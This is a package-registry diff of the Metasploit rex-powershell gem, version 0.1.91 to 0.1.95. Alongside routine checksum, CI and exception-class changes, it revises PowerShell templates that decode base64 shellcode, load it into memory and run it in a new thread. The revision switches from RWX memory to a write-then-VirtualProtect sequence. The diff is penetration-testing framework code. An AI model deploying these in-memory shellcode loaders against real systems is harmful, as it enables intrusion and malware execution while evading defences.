rex-powershell 0.1.91 → 0.1.95
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/.github/workflows/verify.yml +46 -0
- data/data/templates/to_mem_dotnet.ps1.template +10 -5
- data/data/templates/to_mem_pshreflection.ps1.template +17 -15
- data/lib/rex/powershell/command.rb +4 -4
- data/lib/rex/powershell/exceptions.rb +16 -0
- data/lib/rex/powershell/obfu.rb +3 -3
- data/lib/rex/powershell/output.rb +2 -2
- data/lib/rex/powershell/payload.rb +2 -3
- data/lib/rex/powershell/script.rb +1 -1
- data/lib/rex/powershell/version.rb +1 -1
- data/lib/rex/powershell.rb +1 -0
- data.tar.gz.sig +0 -0
- metadata +4 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: bf167124561f5b5aa34b7b5117293e8d977a0c6c0efd936b450c3b3c605ee1c5
|
4
|
+
data.tar.gz: 91381dc9267c0f19c43be9bbc399928ab759427aff764e2682a0362abc05f0ba
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: d9659e411b02341fcb7a34f75a69a3b3237fd4619d6a51eab6914a695731497302bab232ea11ca9997f5c7cf05996eefb1e46e27e5edf7957d050853e16143c2
|
7
|
+
data.tar.gz: f7758453f3f03d28ff3a63270ffd6b7c1ae5a9a5890a66cf3334a76ad0db87db12f304319afa472ff29a6b5a7f9515957e7aaaf84a8116fa6d2d3fd06564b1f0
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,46 @@
|
|
1
|
+
name: Verify
|
2
|
+
|
3
|
+
on:
|
4
|
+
push:
|
5
|
+
branches:
|
6
|
+
- '*'
|
7
|
+
pull_request:
|
8
|
+
branches:
|
9
|
+
- '*'
|
10
|
+
|
11
|
+
jobs:
|
12
|
+
test:
|
13
|
+
runs-on: ubuntu-18.04
|
14
|
+
timeout-minutes: 40
|
15
|
+
|
16
|
+
strategy:
|
17
|
+
fail-fast: true
|
18
|
+
matrix:
|
19
|
+
ruby:
|
20
|
+
- 2.5
|
21
|
+
- 2.6
|
22
|
+
- 2.7
|
23
|
+
- 3.0
|
24
|
+
test_cmd:
|
25
|
+
- bundle exec rspec
|
26
|
+
|
27
|
+
env:
|
28
|
+
RAILS_ENV: test
|
29
|
+
|
30
|
+
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
31
|
+
steps:
|
32
|
+
- name: Checkout code
|
33
|
+
uses: actions/checkout@v2
|
34
|
+
|
35
|
+
- name: Setup Ruby
|
36
|
+
uses: ruby/setup-ruby@v1
|
37
|
+
with:
|
38
|
+
ruby-version: ${{ matrix.ruby }}
|
39
|
+
bundler-cache: true
|
40
|
+
|
41
|
+
- name: ${{ matrix.test_cmd }}
|
42
|
+
run: |
|
43
|
+
echo "${CMD}"
|
44
|
+
bash -c "${CMD}"
|
45
|
+
env:
|
46
|
+
CMD: ${{ matrix.test_cmd }}
|
@@ -5,9 +5,10 @@ $%{var_syscode} = @"
|
|
5
5
|
namespace %{var_kernel32} {
|
6
6
|
public class func {
|
7
7
|
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
8
|
-
[Flags] public enum MemoryProtection {
|
8
|
+
[Flags] public enum MemoryProtection { ReadWrite = 0x04, Execute= 0x10 }
|
9
9
|
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
10
10
|
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
11
|
+
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
|
11
12
|
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
12
13
|
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
13
14
|
}
|
@@ -21,10 +22,14 @@ $%{var_compileParams}.GenerateInMemory = $True
|
|
21
22
|
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
22
23
|
|
23
24
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
25
|
+
[Uint32]$%{var_opf} = 0
|
24
26
|
|
25
|
-
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::
|
27
|
+
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ReadWrite)
|
26
28
|
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
27
29
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
28
|
-
|
29
|
-
if ([
|
30
|
-
$%{
|
30
|
+
|
31
|
+
if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
|
32
|
+
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
33
|
+
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
34
|
+
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
35
|
+
}
|
@@ -1,27 +1,29 @@
|
|
1
1
|
function %{func_get_proc_address} {
|
2
|
-
|
3
|
-
|
2
|
+
Param ($%{var_module}, $%{var_procedure})
|
3
|
+
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
4
4
|
|
5
|
-
|
5
|
+
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
6
6
|
}
|
7
7
|
|
8
8
|
function %{func_get_delegate_type} {
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
9
|
+
Param (
|
10
|
+
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
11
|
+
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
12
|
+
)
|
13
13
|
|
14
|
-
|
15
|
-
|
16
|
-
|
14
|
+
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
15
|
+
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
16
|
+
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
17
17
|
|
18
|
-
|
18
|
+
return $%{var_type_builder}.CreateType()
|
19
19
|
}
|
20
20
|
|
21
21
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
22
|
+
[Uint32]$%{var_opf} = 0
|
23
|
+
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x04)
|
22
24
|
|
23
|
-
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
|
24
25
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
25
|
-
|
26
|
-
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
27
|
-
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
26
|
+
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
|
27
|
+
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
28
|
+
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
29
|
+
}
|
@@ -293,11 +293,11 @@ EOS
|
|
293
293
|
# @return [String] Powershell command line with payload
|
294
294
|
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
|
295
295
|
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
296
|
-
fail
|
296
|
+
fail Exceptions::PowershellError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
297
297
|
end
|
298
298
|
|
299
299
|
if opts[:no_equals] && !opts[:encode_final_payload]
|
300
|
-
fail
|
300
|
+
fail Exceptions::PowershellError, ':no_equals requires :encode_final_payload option to be used'
|
301
301
|
end
|
302
302
|
|
303
303
|
psh_payload = case opts[:method]
|
@@ -310,7 +310,7 @@ EOS
|
|
310
310
|
when 'msil'
|
311
311
|
Rex::Powershell::Payload.to_win32pe_psh_msil(template_path, pay)
|
312
312
|
else
|
313
|
-
fail
|
313
|
+
fail Exceptions::PowershellError, 'No Powershell method specified'
|
314
314
|
end
|
315
315
|
|
316
316
|
if opts[:exec_rc4]
|
@@ -405,7 +405,7 @@ EOS
|
|
405
405
|
end
|
406
406
|
|
407
407
|
if command.length > 8191
|
408
|
-
fail
|
408
|
+
fail Exceptions::PowershellCommandLengthError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
409
409
|
end
|
410
410
|
|
411
411
|
command
|
data/lib/rex/powershell/obfu.rb
CHANGED
@@ -67,7 +67,7 @@ module Powershell
|
|
67
67
|
# Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
|
68
68
|
#
|
69
69
|
# @param [String] string The obfuscated Powershell expression to deobfuscate.
|
70
|
-
# @raises [
|
70
|
+
# @raises [Exceptions::PowershellError] If the string can not be deobfuscated, for example because it was randomized using a
|
71
71
|
# different routine, then an exception is raised.
|
72
72
|
# @return [String] The string literal value.
|
73
73
|
def self.descate_string_literal(string)
|
@@ -79,14 +79,14 @@ module Powershell
|
|
79
79
|
format = Regexp.last_match(0)
|
80
80
|
format_args = string[format.length..-1].strip
|
81
81
|
unless format_args =~ /-f\s*('.',\s*)*('.')/
|
82
|
-
raise
|
82
|
+
raise Exceptions::PowershellError, 'The obfuscated string structure is unsupported'
|
83
83
|
end
|
84
84
|
format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
|
85
85
|
string = format[1...-1].strip
|
86
86
|
end
|
87
87
|
|
88
88
|
unless string =~ /^'.*'$/
|
89
|
-
raise
|
89
|
+
raise Exceptions::PowershellError, 'The obfuscated string structure is unsupported'
|
90
90
|
end
|
91
91
|
string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
|
92
92
|
unless format_args.nil? # process all format string operations
|
@@ -146,7 +146,7 @@ module Powershell
|
|
146
146
|
elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
|
147
147
|
encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
|
148
148
|
else
|
149
|
-
raise
|
149
|
+
raise Exceptions::PowershellError, 'Failed to identify the base64 data'
|
150
150
|
end
|
151
151
|
|
152
152
|
# Decode and decompress the string
|
@@ -157,7 +157,7 @@ module Powershell
|
|
157
157
|
begin
|
158
158
|
@code = Rex::Text.zlib_inflate(unencoded)
|
159
159
|
rescue Zlib::DataError => e
|
160
|
-
raise
|
160
|
+
raise Exceptions::PowershellError, 'Invalid compression'
|
161
161
|
end
|
162
162
|
end
|
163
163
|
|
@@ -37,10 +37,10 @@ module Payload
|
|
37
37
|
def self.to_win32pe_psh(template_path = TEMPLATE_DIR, code)
|
38
38
|
hash_sub = {}
|
39
39
|
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
40
|
-
hash_sub[:var_win32_func]
|
40
|
+
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
41
41
|
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
42
42
|
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
43
|
-
hash_sub[:var_rwx]
|
43
|
+
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
44
44
|
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
45
45
|
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
46
46
|
|
@@ -55,7 +55,6 @@ module Payload
|
|
55
55
|
# Originally from PowerSploit
|
56
56
|
#
|
57
57
|
def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
|
58
|
-
# Intialize rig and value names
|
59
58
|
rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
|
60
59
|
rig.init_var(:func_get_proc_address)
|
61
60
|
rig.init_var(:func_get_delegate_type)
|
data/lib/rex/powershell.rb
CHANGED
data.tar.gz.sig
CHANGED
Binary file
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-powershell
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.95
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Metasploit Hackers
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
93
93
|
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
94
94
|
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
95
95
|
-----END CERTIFICATE-----
|
96
|
-
date:
|
96
|
+
date: 2022-02-14 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
99
|
name: rake
|
@@ -173,6 +173,7 @@ executables: []
|
|
173
173
|
extensions: []
|
174
174
|
extra_rdoc_files: []
|
175
175
|
files:
|
176
|
+
- ".github/workflows/verify.yml"
|
176
177
|
- ".gitignore"
|
177
178
|
- ".rspec"
|
178
179
|
- ".travis.yml"
|
@@ -188,6 +189,7 @@ files:
|
|
188
189
|
- data/templates/to_mem_rc4.ps1.template
|
189
190
|
- lib/rex/powershell.rb
|
190
191
|
- lib/rex/powershell/command.rb
|
192
|
+
- lib/rex/powershell/exceptions.rb
|
191
193
|
- lib/rex/powershell/function.rb
|
192
194
|
- lib/rex/powershell/obfu.rb
|
193
195
|
- lib/rex/powershell/output.rb
|
metadata.gz.sig
CHANGED
Binary file
|